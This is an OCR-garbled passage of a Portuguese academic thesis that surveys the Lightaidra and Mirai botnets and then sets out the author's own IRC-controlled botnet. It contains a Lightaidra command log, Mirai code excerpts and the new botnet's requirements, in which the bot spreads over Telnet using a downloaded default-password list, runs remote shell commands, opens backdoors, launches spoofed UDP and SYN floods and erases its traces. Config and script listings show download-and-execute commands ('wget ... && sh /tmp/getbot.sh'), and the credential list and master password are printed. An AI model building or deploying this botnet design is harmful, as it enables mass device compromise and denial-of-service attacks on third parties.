Por fim Bano (2010, p. 78) relata que foram avaliados 200 GB de dados coletados em
um dos provedores de internet do Paquistdo. Os dados correspondiam ao trafego de internet
de 511 domicilios. Os dados foram comparados com analises de empresas privadas no ramo
de seguranca da informacdo, e foi constatado que 58 (11.3%) das 511 casas estavam
comprometidas por atividades de botnets.

O trabalho de Bano, se concentra na deteccdo de comportamentos suspeitos que podem
indicar a existéncia de uma botnet na rede, portanto ndo é possivel comparar diretamente suas
principais caracteristicas com o presente trabalho desenvolvido. Pode-se correlacionar entre
os trabalhos as técnicas envolvendo os protocolos de rede, transporte e aplicacdo. Ambos

trabalhos sdo fortemente baseados no funcionamento de protocolos como UDP, TCP, HTTP.

2.4.2  Lightaidra

Lightaidra é uma botnet comandada através do protocolo IRC que permite verificar e
explorar roteadores para criar uma rede de zumbis (no estilo RxBot). Em adicdo a isso é
possivel executar ataques com tcpflood (FAZZI, 2012), justamente por ter que rodar em
camadas mais baixo nivel dos dispositivos, ele foi desenvolvido em C.

Inicialmente o software busca por portas do protocolo Telnet abertas e testa senhas
padrdo de acesso, estas fornecidas pelo botmaster. Apds identificar a vulnerabilidade na porta,
envia um comando para a vitima, fazendo que seja conectado com o servidor de C&C e
solicitado o download da copia do payload do bot. Lightaidra possui varios tipos comandos,
entre estes, comandos de login, execucdo de scripts, scan de rede, ataques DDoS e os do

protocolo IRC propriamente. Alguns comandos DDoS que podem ser utilizados pelo
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malware sdo: .synflood, .ngsynflood, .ackflood, .ngackflood. T0dos estes comandos
se baseiam em vulnerabilidades na arquitetura do protocolo TCP. Para utilizar estes comandos
sO € necessario especificar o host, porta e tempo em segundos que o ataque durard. Na Figura
9 é possivel verificar os comandos possiveis exibidos da tela de help da botnet, o comando
nelp foi executado em um canal IRC, antes de executar o comando foi necessario chamar o

comando 1ogin passando uma senha, no caso da imagem a senha utilizada foi pwn.

Figura 9 - Acessando tela de helﬁ da Lightaidra

18:23 [Users #chan]

18:23 [@root] [ [X]lylegh9vgk]

18:23 -!- Irssi: #chan: Total of 2 nicks [l ops, 0 halfops, 0 voices, 1 normal]
18:23 <@root> .login pwn

18:23 < [X]lyleghS9vgk> [login] you are logged in, (root!~root@l27.0.0.1).

18:23 <@root> _help

18:23 < [X]lyleghSvgk> * *** Access Commands:
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * .login <passwo rd= - login to bot's party-line
18:23 < [X]lyleghSvgk> * .logout - logout from bot's party-line
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * *** Miscs Commands
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * .exec <commands=> - execute a system command
18:23 < [X]lyleghSvagk> * .version - show the current version of bot
18:23 < [X]lyleghSvgk> * .status - show the status of bot
18:23 < [X]lyleghSvgk> * .help - show this help message
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * *** Scan Commands
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * .advscan <a> <b> <user> <passwd=> - scan with user:pass (A.B) classes sets by you
18:23 < [X]lyleghSvgk> * .advscan <a= <b> - scan with d-link config reset bug
18:23 < [X]lyleghSvgk> * .advscan-=recursive <users <pass> - scan local ip range with user:pass, (C.D) classes random
18:23 < [X]lyleghSvgk> * .advscan->recursive - scan local ip range with d-link config reset bug
18:23 < [X]LlyleghSvgk> * .advscan->random <Users <pass> - scan random ip range with user:pass, (A.B) classes random
18:23 < [X]lyleghSvgk> * .advscan-=random - scan random ip range with d-link config reset bug
18:23 < [X]lyleghSvgk> * .advscan->random->b <users <pass> - scan local ip range with user:pass, A.(B) class random
18:23 < [X]lyleghSvgk> * .advscan-=random-=b - scan local ip range with d-l1ink config reset bug
18:23 < [X]lyleghSvgk> * .stop - stop current operation (scan/dos)
18:23 < [X]lyleghSvgk> *
18:23 < [X]LlyleghSvgk> * *** DDos Commands:
18:23 < [X]lyleghSvgk> * NOTE: <port= to @ = random ports, <ip> to @ = random spoofing,
18:23 < [X]lyleghS9vgk> * use .*flood-=[m,a,p,s,x] for selected ddos, example: .ngackflood->s host port secs
18:23 < [X]lyleghSvgk> * where: *=syn,ngsyn,ack,ngack m=mipsel a=arm p=ppc s=superh x=x86
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * .spoof <ip> - set the source address ip spoof
18:23 < [X]lyleghSvagk> * .synflood <host> <port> <secs> - tcp syn flooder
18:23 < [X]lyleghSvgk> * .ngsynflood <host> <port> <secs=> - tcp ngsyn flooder (new generation)
18:23 < [X]lyleghSvgk> * .ackflood <host> <port> <secs> - tcp ack flooder
18:23 < [X]lyleghSvgk> * .ngackflood <host> <port> <secs> - tcp ngack flooder (new generation)
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * *** TRC Commands:
18:23 < [X]lyleghSvgk> *
18:23 < [X]lyleghSvgk> * .setchan <channel=> - set new master channel
18:23 < [X]lyleghSvgk> * .join <channel> <password> - join bot in selected room
18:23 < [X]lyleghSvgk> * .part <channel> - part bot from selected room
18:23 < [K]lyleghSvgk> * .quit - kill the current process
18:23 < [X]lyleghSvgk> *
< [

X]lyleghSvgk> * *** EQOF
@root( i) 2:localhost /#chan

Fonte: elaborado pelo autor.

O trabalho desenvolvido possui muitas caracteristicas semelhantes ao Lightaidra,
podendo citar o uso de um servidor IRC e o uso de SYN flood para ataques DDoS, porém o
nosso trabalho proposto ndo se limita apenas a esse ataque, propondo também a cria¢do de
ataques de UDP flooding através de pacotes UDP maliciosamente forjados. Outra diferenca
proposta visa o fato de que o Lightaidra pode utilizar apenas um usuério e senha de cada vez
para fazer a varredura dos enderecos IP’s e este deve ser passado via parametro no canal IRC,
ja 0 nosso trabalho ird conter um mecanismo para realizar o download de uma lista de

usuarios e senhas que podem ser modificadas dinamicamente a qualquer momento.
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24.3 Mirali

Esta botnet ganhou grande notoriedade mundial ao aparecer pela primeira vez em
setembro de 2016, deixando off-line o site do jornalista em seguranca Brian Krebs! (KREBS,
2016). No més seguinte outro ataque envolvendo a empresa de infraestrutura de internet Dyn,
alcangou 1,2Tbps, deixando fora do ar sites como Twitter, the Guardian, Netflix, Reddit,
CNN e varios outros pela Europa e Estados Unidos. Foi o maior ataque DDoS da historia
(WOOLF, 2016). O nome real do autor é desconhecido, é conhecido na internet apenas por
Anna-Senpai (KREBS, 2017).

A Mirai botnet infecta dispositivos de Internet das Coisas (Internet of Things — 10T)
mal configurados, como por exemplo: cameras IP, roteadores e impressoras (GRAHAM,
2017). A Mirai se propaga de forma automatica tentando acessar dispositivos através da porta
TELNET (23) que contenha usuarios padrdo. O Quadro 5 apresenta um trecho do cédigo

fonte da Mirai contendo usuérios e senhas testados para explorar os dispositivos.

Quadro 5 - Usuarios e senhas tentados pela Mirai

/{ Set up passwords
RV ETAV IRV Gl
\ %5840\ 4D,

" 58N A D

add_auth_entr G AA 11171313, 18);

W SE A B\ S\ H5A 34", 9

add_auth_entr

add_auth_entr: Thd 3 d 8\ AP\ 4B 40", B

add_auth_entr

add_auth_entr

add_auth_entr \dB\x52\ k41", 5);
add_auth_entr A4\ 43\ K57\ KEE\X56", 5);
add_auth_entr A0S KAT e\ xdA", 50
add_auth_entr 16%x174x14", 5);
add_auth_entr
add_auth_entr "y "AHEINKETAKE2 W K52 x40\ k58 \R56", 5);
add_auth_entr
add_auth_entr: WA\ E1NE 1A KE5 WD\ x5\ k46", 4]
2 45

EAP S H

add_auth_entr

add_auth_entr @11\

TAKHSTAHS LA RAT\N58",

w3y,
3 s 25

add_auth_sntry (™ 3);
add_auth_entr
add_auth_sntry (™) "5 2hxdINx51Ax51", 3);

T3 dB A0 13\ 1011\ x16", 3);
1313 3);
"y Mws1h A3 edE AP\ dB x4l 3);
o, a3y

add_auth_entr
add_auth_entr
add_auth_entr
add_auth_entr
add_auth_entr "y 2);
add_auth_entr 584D \ g3 X554x4D K500 k46",
add_auth_entr
add_auth_entr
add_auth_entr S84\ K56 4D\ 158",
V4T x5 N5
ADYx58", "\x5
. 47\x%514x56", 1);
5156, Ml Fude k1l wde w17, 1);

add_auth_entr
add_auth_entr / supervisor supervisor
add_auth_entr
add_auth_entr A58%57

\KASAKET WA TG 1AKE6", M 3Ae\x 11\ k164177, 1);

Fonte: elaborado pelo autor.

add_auth_entry(

! https://krebsonsecurity.com
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Assim que um dispositivo é acessado uma cépia do payload do bot € passado para o
dispositivo infectado, tornando-o parte da botnet. Assim que infectado o bot fecha as portas
SSH (22), TELNET (23) e HTTP (80) e tenta preveni-las de reabrirem, como mostrado no
Quadro 6 para o caso de TELNET. A Mirai foi utilizada exclusivamente para ataques DDoS e
entre 0s seus vetores de ataque existentes estdo presentes: TCP SYN, UDP flood e HTTP

flood, entre outros.

Quadro 6 - Matando servico TELNET e impedindo-o de reiniciar
/ Kill telnet service and prevent it from restarting
#ifdef KILLER_REBIMD_TELMET

f#ifdef DEBUG

printf{"[killer] Trying to kill port 23%n");
#endif
if (killer kill_by_port{htons(23)})

#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)in");
gendif
T else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23%n");
gendif
}

tmp_bind_addr.sin_port = htons(23);

if ((tmp_bind_fd = socket(AF_IMET, SOCK_STREAM, @)) != -1)

pind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1};
¥
#ifdef DEBUG
printf (" [killer] Bound to tcps23 (telnet)}in™);
gendif
pendif

Fonte: elaborado pelo autor

Para procurar por dispositivos a fim de tentar infecta-los, a Mirai gera aleatoriamente
um IP. um ponto interessante é que a Mirai faz uma validacdo para verificar se o IP escolhido
estd em uma faixa especifica e dependendo qual seja descarta o IP e gera o préximo
aleatoriamente, o Quadro 7 apresenta os IP’s e seus respectivos owners que sdo descartados
pela Mirai. O trabalho desenvolvido, além de gerar o IP aleatoriamente como a Mirai, também
tem a possibilidade de gerar o IP baseado na sub rede onde o bot se encontra. Outra melhoria
proposta por nosso trabalho seria a adicdo de um mecanismo de download de uma lista de

usuarios e senhas que serédo utilizados na exploracdo da porta TELNET.



Quadro 7 - Faixa de IP's ignorados pela Mirai

127.9.08.9/8 =
0.0.9.0/8 -
3.8.8.0/8 -
15.2.8.8/7 =
56.8.8.8/8 -
18.8.8.8/8 -
192.168.8.8/16 =
172.16.8.8/14 -
18@.64.8.8/18 =
169.254.8.8/16 -
198.18.0.8/15 -

224 % % ¥y =
B.8.8.8/7 -
11.8.8.8/8 -
21.2.9.8/8 =
22.8.8.8/8 -
26.8.8.8/8 -
28.92.9.8/7 =
38.8.08.0/8 -
33.8.8.8/8 -
55.9.9.8/8 =
214.8.8.8/7 -

Loopback

Invalid address space
General Electric (GE)
Hewlett-Packard (HP)
US Postal Service

Internal network

Internal network

Internal network
TANA MAT reserved
TANA MAT reserved
TANA Special use

Multicast

Department
Department
Department
Department
Department
Department
Department
Department
Department
Department

of
of
of
of
of
of
of
of
of
of

Defense
Defense
Defense
Defense
Defense
Defense
Defense
Defense
Defense
Defense

Fonte: Herzberg, Bekerman e Zeifman (2016).
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Este malware é feito na linguagem de programacédo C e o seu servidor de comando e

controle é feito na linguagem Go. O Mirai tem foco em dispositivos que rodam sobre a

plataforma Linux, mais especificamente o0s

(https://busybox.net/).

dispositivos

que possuem BusyBox
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3 DESENVOLVIMENTO DO SOFTWARE

Neste capitulo serdo apresentados 0s passos necessarios para o desenvolvimento deste

trabalho. Na secdo 3.1 sdo apresentados os requisitos definidos para a botnet ser operacional.

Na secdo 3.2 é apresentada uma especificacdo em forma de caso de uso, um diagrama de

componentes, e um esquema descrevendo como deve ser o ciclo de vida da botnet. A

implementacao é apresentada na secdo 3.3 e a analise dos resultados obtidos na se¢éo 3.4.

3.1 REQUISITOS

Abaixo estdo listados os Requisitos Funcionais (RF) e os Ndo Funcionais (RNF) do

software a ser desenvolvido neste trabalho:

a)

b)

c)

d)

9)
h)

)
k)

a rede botnet deve ser controlada através de um servidor de Internet Relay Chat
(IRC) (RNF);

deve ser possivel enviar um comado para todos os bots ou apenas para um
especifico (RF);

deve ser possivel enviar comandos que executam localmente, ou seja, comandos
que executam no shell da maguina em que o bot esta contido (RF);

0s bots devem ser capazes de retornar o conteldo de um comando shell para o
botmaster através de um canal IRC (RF);

0s bots devem ser capazes de iniciar um ataque DDoS dos tipos UDP flood e TCP
SYN flood (RF);

deve ser possivel interromper a atividade de um ou de todos os bots, limpando seus
rastros do computador (RF);

os bots devem se propagar automaticamente através da porta TELNET (RF);

0s bots devem aceitar um comando de propagacgéo tanto para a rede local em que
estdo quanto para uma rede externa, fornecida como argumento do comando (RF);
para se propagar os bots devem utilizar uma lista de usuarios e senhas comuns, que
deve ser obtido dinamicamente através de download de arquivo (RF);

deve ser utilizado a linguagem de programagéo C (RNF);

0 binario deve poder ser executado em sistemas que executam o Linux BusyBox
(Linux embarcado) (RNF);

o0 software deve prevenir a execuc¢do de duas instancias simultaneamente na mesma
maquina (RNF).
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3.2 ESPECIFICACAO

Para especificar o trabalho proposto é apresentado um diagrama de caso de uso no qual
foi identificado um Unico ator. Também é mostrado um esquema representando o ciclo de
vida do software, descrevendo suas etapas e por fim um diagrama de componentes. Todos 0s
diagramas e modelos apresentados nesta se¢do foram desenvolvidos com ajuda do software

draw.io?.

3.2.1 Casos de Uso

O diagrama da Figura 10 apresenta as possiveis acGes que o botmaster pode executar,
que faz o papel de usuario da aplicacio. E possivel executar quatro acbes e todas elas
envolvem enviar um comando para os bots, ou seja, quem executa as acdes propriamente ditas

sdo o0s bots, 0 botmaster apenas tem o papel de delegar.

Figura 10 - Diagrama de caso de uso

UCO1 - executar
comando shell

UCO2 - executar
¢omando TCP SYN flood

i//*

botmaster

UCO3 - executar
comando UDP flood

UCD4 - executar
comando scan

Fonte: elaborado pelo autor.

Todas as quatro acdes enviadas pelo botmaster sdo transmitidas através de um servidor
IRC, onde os bots participantes da rede estdo “ouvindo”. Apesar de todas estas acoes serem
executadas pelo bot propriamente dito e ndo pelo botmaster, o bot ndo deve ser considerado

ator. A seguir € descrito como deve ser realizado cada caso de uso:

2 https://www.draw.io/



a)

b)

d)
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UCOL — executar comando shell: este caso de uso representa a possibilidade do
botmaster enviar comandos que serdo executados na maquina em que o bot esta
hospedado. Estes comandos envolvem, por exemplo, listar os arquivos de um
diretorio, listar arquivos de senhas, abrir backdoor para acesso posterior, etc. Os
comandos sdo executados com 0 mesmo nivel de acesso que o usuario utilizado
para fazer login na méquina possui. Durante a execu¢do do comando, o bot deve
enviar os resultados para o botmaster (através do servidor IRC), que tera a visdo do
retorno do comando como se ele estivesse executando na maquina em questdo. A
sintaxe do comando deve ser !<comando shell>;

UC02 - executar comando TCP SYN flood: Um dos propdsitos deste trabalho é
a criacdo de ataques de negacdo de servico, e TCP SYN flood é um dos principais
tipos destes ataques. O botmaster deve ser capaz de enviar a um ou mais bots um
comando para iniciarem um ataque DDoS. O comando deve possuir parametros
indicando IP da vitima, quantidade de pacotes e portas de servico alvo. A sintaxe
do comando deve ser eattack tcp <IP do alvo> <numero de pacotes>
<porta de origem ou 0> <porta de destino ou 0>, utilizando o valoro 0
(zero) nos campos referidos, significa que o valor deve ser gerado aleatoriamente;
UC03 — executar comandos UDP flood: este caso de uso é parecido com o
UCO02, com a diferenca de que o ataque serad do tipo UDP ao invés de TCP SYN.
Este comando deve receber além dos parametros do TCP SYN, alguns parametros
adicionais indicando se deve ser utilizado IP real ou IP falso no envio dos pacotes,
caso seja IP falso deve ser possivel passar um IP por parametro ou ser gerado
aleatoriamente, caso opte por IP real deve ser utilizado o IP do bot. Também deve
ser possivel especificar quantos pacotes serdo enviados a cada IP aleatorio, se
utilizar o valor 0 (zero), deve ser utilizado um valor padrédo definido nas

configuracdes. A sintaxe do comando deve ser @attack udp <IP do alvo>

<ntmero de pacotes> <porta de origem ou 0> <porta de destino ou 0>
<pacotes por IP ou 0> <spoof | nospoof> <IP falso ou zero>,

UCO04 — executar comando scan: este comando tem o intuito de fazer com que
0s bots pesquisem por hosts vulneraveis, a fim de infecta-los. Este comando deve
ter um parametro indicando qual rede ser feito a varredura por hosts. Este
parametro deve ser em formato de endereco IP e o bot deve varrer o dltimo octeto

inteiro (ignorando divisGes de sub rede). Caso o parametro IP seja deixado em
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branco, o bot deve varrer a rede em que ele se encontra. A sintaxe do comando

deve ser @scan <ip>.

3.2.2  Ciclo de vida proposto

Para facilitar a compreensdo do software desenvolvido, a Figura 11 demonstra o ciclo
de vida da botnet, desde a parte em que 0 bot inicia o processo de propagacao até o inicio dos
ataques DDoS. Os numeros na Figura 11 demonstram a ordem dos eventos que devem ocorrer
no ciclo de vida da botnet. Os eventos 5 e 6 sdo opcionais e também podem ocorrer

simultaneamente.

Figura 11 - Ciclo de vida da botnet

o %
Envia cowando de DDoS
woT \
A
Ataque DDo!

BOT

Bot participante d rede invade a vitima

um comando para o|download de uma copi omando DD0S

Retorno do tomando shell
%ﬂmue

Comando DDoS

VITIMA DDoS

ALVO VULNERAVEL

Retnrnn do comaqdo shel

Alvo vulneravel faz o dpwnigad do bindrio e "vira" um BOT

Q

: l:
HIIII] o HITIIT o
s &0
JIIIIT o

WEB SERVER SERVIDOR IRC

Fonte: elaborado pelo autor.

Cada etapa do ciclo de vida é descrita em mais detalhes a seguir:
1) bot participante da rede faz o download de um arquivo contendo diversas

credenciais (pares de usuario e senha), que pode ser modificado a qualquer



2)

3)

4)

5)
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momento pelo botmaster. A cada nova varredura de rede o bot refaz o download
para garantir a copia mais recente do arquivo. Apos o download o bot inicia a
varredura procurando por hosts vulneraveis. Ao encontrar algum que seja
suscetivel ao ataque, ele envia um comando para este host fazer o download de
uma copia do bot e executa-lo assim que concluido. Esta varredura pode ser
realizada automaticamente assim que o bot comeca a ser executado ou através do
comando scan enviado pelo botmaster podendo receber parametros adicionais. A
Unica excecdo é o primeiro bot da rede, que deve ser instalado manualmente pelo
botmaster, ou com alguma das opcdes descritas na secdo 2.2.1.1;

apos receber o comando para o download, a vitima vulnerdvel executa o programa
e se conecta a um servidor IRC, assim se torna efetivamente um membro da rede
botnet. O servidor que contém os arquivos executaveis dos bots, é diferente do
servidor IRC, contendo inclusive enderecos IP diferentes;

com todos os bots conectados no servidor IRC, o botmaster pode enviar a qualquer
momento um conjunto de comandos, que incluem o scan, que indica para os bots
pesquisarem hosts vulneraveis e tentar explora-los e comandos para serem
executados no shell da maquina onde o bot reside. Este comando é designado por
um simbolo especial seguido do comando shell. A execuc¢do correta do comando
depende do ambiente em que o bot esta instalado, pois quem interpreta é o shell
local, portanto variagdes podem ocorrer. Também pode enviar comandos para
iniciar ataques DDoS e comando para se auto destruir e eliminar rastros;

nesta etapa os comandos sao simplesmente replicados para os bots participantes da
rede, ou para um bot especifico, dependendo com o botmaster especificou. Como
se trata de um protocolo IRC, o botmaster pode especificar mensagens em
broadcast ou em unicast, também € possivel utilizar comandos como 0 /names
gue mostram quantos usuarios (neste caso bots) estdo conectados no canal, assim o
botmaster tem uma ideia do tamanho da rede;

apos receber um comando shell o bot tenta executar no shell padrdo do ambiente
que reside. Se o comando puder ser executado com sucesso, entdo a saida é
redirecionada para o servidor IRC, onde o botmaster pode visualizar de forma
idéntica a que se ele estivesse conectado diretamente a maquina em que esta o bot.
Importante notar que ndo ha comunicacdo direta entre bot e botmaster, toda a

comunicacao acontece atraves do servidor IRC;
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6) a ultima etapa do ciclo de vida consiste em os bots de forma conjunta enviarem
inimeros pacotes TCP e UDP em curto espago de tempo a uma vitima. Os ataques
DDoS possiveis neste projeto séo UDP flood e TCP SYN flood, realizados pelos

comandos @Gattack udp € Gattack tcp respectivamente.

3.2.3  Diagrama de componentes

Na Figura 12 é apresentado o diagrama de componentes do projeto. O projeto é feito
na linguagem C e uma boa pratica é usar os headers (arquivos .h), que nada mais sdo que um
arquivo contendo todas as assinaturas dos métodos e opcionalmente alguns valores adicionais.
Os headers foram omitidos do diagrama, pois ndo ha necessidade de repetir a assinatura dos
métodos. A excecdo foi 0 arquivo config.h POIS este arquivo ao invés das assinaturas de
métodos contém diversos valores para o funcionamento do software, como IP de servidores,

nome de canal IRC, etc.

Figura 12 - Diagrama de componentes

attack.c bot.c

- tcp_csum (unsigned short, unsigned short, int, int) - unsigned short
+ syn_flood (attack_info, irc_info) : int

+ udp_flood (attack_info, irc_info) : int

+ get_random_ip() : uint32_t

- csum (unsigned short, int) : unsigned short

+ main (int, char) : int

irc.c scanner.c

+ irc_connect (irc_info) : int + scan_network (irc_info, char) : int
+ irc_legin (irc_info) : int - get_subnet_address () : char *
+ irc_listen (irc_info) : int - telnet_connect (teinet_info) - int
- parse_master_command {char, int) : void - telnet_login (teinet_info) : int
- random_nick() : char - get_next_credentials (char, char) : void
- free_master_cmd (char, int) : void - download_credentials_file () : void
- send_pong (irc_info) : void - send_downlcad_command (int) : void
+irc_send (char, int, irc_info) : int - terminal_set (int) : void

config.h

+ DOWNLOAD_BINARIES
+ DOWNLOAD_CRED_FILE
+ CRED_FILE

+ IRC_SERVERS

+ IRC_CHANNEL
+IRC_NICK_LEN

+ DEBUG

+ TELNET_PORT

+ IRC_USER

+ MAX_BUF

Fonte: elaborado pelo autor.
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Como demonstrado na Figura 12, o projeto consiste principalmente de 5 arquivos.
Alguns arquivos adicionais foram omitidos do diagrama. Cada arquivo basicamente consiste
de um modulo da botnet. A botnet inicia-se no arquivo bot.c, responsavel por inicializar os
métodos de comunicacdo com o servidor IRC e fazer algumas verificacGes necessarias para
garantir apenas uma instancia do bot na memaria. O arquivo irc.c € responsavel pela parte
de comunicacdo com o servidor IRC, possibilitando a comunicacdo do botmaster com a rede
botnet. Neste arquivo esta contido procedimentos de conexdo com um servidor IRC seguindo
0 protocolo descrito na RFC 2812. O irc.c também é responsavel pela execugdo dos
comandos no shell local, enviando o comando para o shell e posteriormente retornando o
resultado no canal IRC. No arquivo scanner.c estdo contidas as rotinas de varredura da rede
local e ou externa a procura de hosts vulneraveis. Também possui as rotinas que tentam
explorar o host via TELNET. Este arquivo € o Unico responsavel pela propagacao da botnet,
podendo ser considerado o elemento principal do projeto. A parte dos ataques DDoS ficam no
arquivo attack.c, sendo que nele estdo diversas rotinas responsaveis pela construcdo de
pacotes de redes, computacdo de checksum e geracdo de IP’s aleatorios. O objetivo deste
maddulo é gerar UDP e TCP flood. As configuracdes gerais do software, como IP do servidor
de download dos bots, IP do servidor IRC, caminho do arquivo de credenciais usado pelo
scanner.c para explorar a conexdo TELNET, entre outras configuragfes menores, fica por

conta do arquivo config.h.

3.3 IMPLEMENTACAO

Nesta se¢do sera mostrado como foram desenvolvidos os objetivos, quais técnicas e
ferramentas foram utilizadas bem como a operacionalidade do software. A primeira secao,
3.3.1, apresenta quais as ferramentas utilizadas para desenvolver, testar e analisar o software.
A secdo 3.3.2, corresponde a implementacdo do software. Esta foi dividida em 4 subse¢es
para melhor representar as etapas desenvolvidas e proporcionar melhor compreensdao do
software como um todo. Ao final, na secdo 3.4 sdo apresentados os resultados obtidos e 0s

devidos testes realizados.

3.31 Ferramentas utilizadas

Foram utilizadas diversas ferramentas ao longo deste trabalho, todas séo gratuitas e de

codigo fonte aberto. Dentre elas incluem-se: sistema operacional GNU/Linux Fedora 26;
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editor de texto Vim® para escrever o codigo fonte; Docker* para simular diversos
computadores em uma Rede; servidor IRC ngIRCd® para fazer a comunicacdo da botnet;
cliente IRC irssi® para comunicacdo entre botmaster e servidor IRC; servidor web Apache’;
wireshark® para analisar os pacotes trafegados entre os bots e o botmaster, bem como a
analise da rede durante a simulacdo de ataque DDoS; GNU Debugger® (GDB), para fazer a
depuracéo da aplicacdo; compilador GNU Compiler Collection!® (GCC); GIT* para controle

de verséo utilizando o servidor publico do Github'?,

3.3.2  Implementacao do software

Esta secéo visa descrever os pontos chaves desenvolvidos neste trabalho, apresentando
também trechos de codigo fonte desenvolvido. E possivel acessar o codigo fonte na integra
em um repositorio publico no link https://github.com/johnnywiller/IRC_botnet.

Para melhor apresentacdo do trabalho realizado, optou-se por dividir esta secdo em
mais 4 subsecdes. Cada subsecdo compreende o desenvolvimento de partes do software que
se desejado poderiam ser executadas isoladamente. A secdo 3.3.2.1 apresenta arquivos
externos ao cddigo fonte principal e também os principais arquivos header contendo a
definicdo dos métodos e tipos de dados mais importantes. A secdo 3.3.2.2 apresenta o
desenvolvimento do processo de comunicagdo entre o botmaster e os bots na rede botnet,
também apresenta a analise dos comandos shell. A se¢do 3.3.2.3 apresenta 0 processo de
proliferacdo da rede, ou seja, apresenta 0 mecanismo utilizado para fazer com que os bots se
propagassem automaticamente. Por fim, a secdo 3.3.2.4 apresenta como foi desenvolvido cada

um dos dois tipos de ataque DDoS.

3.3.2.1  Arquivos externos ao codigo fonte e principais headers

Antes de partir para o codigo fonte propriamente dito, sdo apresentados 0s arquivos

que configuram e definem certos comportamentos da botnet. Os arquivos citados nesta secdo

3 http://www.vim.org/

4 https://www.docker.com/

5 https://ngircd.barton.de

6 https://irssi.org/

7 https://httpd.apache.org/

8 https://www.wireshark.org/

® https://www.gnu.org/software/gdb/
10 https://gcc.gnu.org/

11 https://git-scm.com/

12 https://github.com/.
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S80 config.h, cred file € getbot.sh. Também é apresentada a definicdo dos tipos
irc_info € attack info, devido a sua importancia e para melhor compreensdo do codigo
fonte, bem como sdo apresentados 0s métodos envolvidos nos principais aspectos do
software.

Primeiramente o arquivo config.h define diversos valores padrao utilizados ao longo
da execucdo da botnet, que devem ser modificados de acordo com a necessidade do
botmaster. Para o desenvolvimento deste projeto, os valores utilizados séo os apresentados no
Quadro 8. Em diversos momentos ao longo do desenvolvimento serdo mencionados valores
referentes a este arquivo, por exemplo, quando citado powNL.OAD BINARIES, refere-se ao valor

descrito apds este termo no arquivo config.h.

Quadro 8 - Arquivo de configuracdo da botnet (config.h)

Tfnoer _ CONFIG_H

o

define _ CONFIG_H

#define DOWNLOAD BIMARIES "rm -rf /tmp/getbot.sh; wget -c hitp://172.17.8.5/getbot.sh -P /tmp && sh /tmp/getbot.sh”
#define DOWNLOAD_CRED_FILE "rm -rf /tmp/cred_file; wget -c http://172.17.8.5/cred_file -P /tmp"

#define CRED_FILE "/tmp/cred_file"

#

define PID_FILE "/tmp/.pid_file"

define TRC_SERVERS "1@.21.16.39:6657|127.8.9.1:6667|192.168.8.200:6667|172.17.9.5:6667[127.0.8.1:2222"
define IRC_CHAMNNEL "#army_of_furb”

IRC_PORT 6667

define IRC_NICK_LEN 9

define DEBUG

*+ o
=
m
h
s
5
m

1

define TELMET_PORT 23

/f used in IRC handshake process

#define IRC_USER "USER %s localhost localhost :%s"

+
i
h
.
5
m

MASTER_PASSWORD "furbl23a”

// max buffer for exchanged messages

#define MAX_BUF 1824

m

#endif

Fonte: elaborado pelo autor.

O arquivo cred file, contém o conjunto de usudrios e senhas que serdo utilizados no
processo de proliferacdo da rede botnet, que pode conter quaisquer grupos de usuario e senha
gue o botmaster achar necessario. O sucesso da botnet depende da qualidade dos dados
contidos neste arquivo. Por pratica comum e assim também optado neste trabalho, foram
utilizados usuérios e senhas comuns segundo bibliografia da area (secdo 2.2.1.1.4). No

Quadro 9 ¢ apresentado o conteudo do arquivo de credenciais.
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Quadro 9 - Contelido do arquivo cred file
rogtTiroot
root:122456
root:12245
root:12245678

root:football
rootiwelcome
admin:admin
admin: 123456
gdmin: 12345
gdmin: 12345678
gdmin: football
root:123456
gdmin:welceme
gdmin: passward
gdmin: passwordl
gdmin: sunshine

root:passwérd

root:passwordl

Fonte: elaborado pelo autor.

O arquivo getbot.sh tem 0 papel de indicar como sera feito o download do binario
do bot e como ele sera executado. Este arquivo contém o endereco IP do servidor web que
guarda os binarios da rede botnet. Ap6s um disposto ser infectado, os primeiros comandos
gue executa sdo 0s contidos neste arquivo. A importancia deste arquivo serd melhor

compreendida na secdo 3.3.2.3. O Quadro 10 apresenta o contetdo do arquivo getbot . sh.

Quadro 10 - Contelido do arquivo getbot . sh

#./D1n/Dazn

SERVER_IP="http://172.17.8.3"

rem -rf ftmp/bet

wget -c ${SERVER_IP}/bot -P /tmp && chmod +x /tmpsbot && /tmp/botd

Fonte: elaborado pelo autor.

O tipo irc info armazena informagdes necessarias para a comunicagdo com 0
servidor IRC, gue contém o nome do bot, 0 nome do canal IRC, descritor do socket, hostname
e porta. Ele esta contido no arquivo irc.h, que também tem a definicdo dos métodos
envolvidos no processo de comunicacdo da botnet. No Quadro 11 é apresentado parte do
arquivo irc.n contendo a declaracdo dos métodos utilizados na comunicacdo IRC e o tipo

citado acima. A implementacdo dos métodos esta no arquivo irc.c.
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Quadro 11 — Arquivo irc.h contendo 0 tipo irc info e principais métodos

typedef struct {

int fd_irc;
char *ch;
char *nick;
char *hostname;
uintl6_t port;
} irc_info;
int irc_connect({irc_info *info);
int irc_login(irc_info *info);
int irc_send(char *msg, int len, irc_info *info);
int irc_listen{irc_info *info);

char * random_nick();

void send_pong{irc_info *info);

Fonte: elaborado pelo autor.

Para realizar um ataque DDoS, o botmaster envia certos parametros para a rede botnet.
Estes parametros ficam no tipo attack info, como numero de pacotes, porta de origem,
porta de destino, IP da vitima, etc. O tipo attack info fica no arquivo attack.h, que
também contém a defini¢cdo dos métodos utilizados para o ataque, a implementacdo do corpo

do método fica no arquivo attack.c. No Quadro 12 é apresentado 0 arquivo attack.h.
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Quadro 12- Arquivo attack.h contendo tipo attack info € principais métodos

#ifnde? ATTACK_H

int m_pkts;
uint2z2_t s_ip;
uint3z_t d_ip;
uintls_t s_peort;
uintis_t d_pert;
int np_chg;

char spoof_ip;

+ attack_info;

uint3z_t saddr; // source
uint2z2_t daddr;

unsigned char res; //

unsigned char proto; protocol

uintis_t tcp_lem; // length of TCP segment (including header and data)
T tcp_pseudc_header;
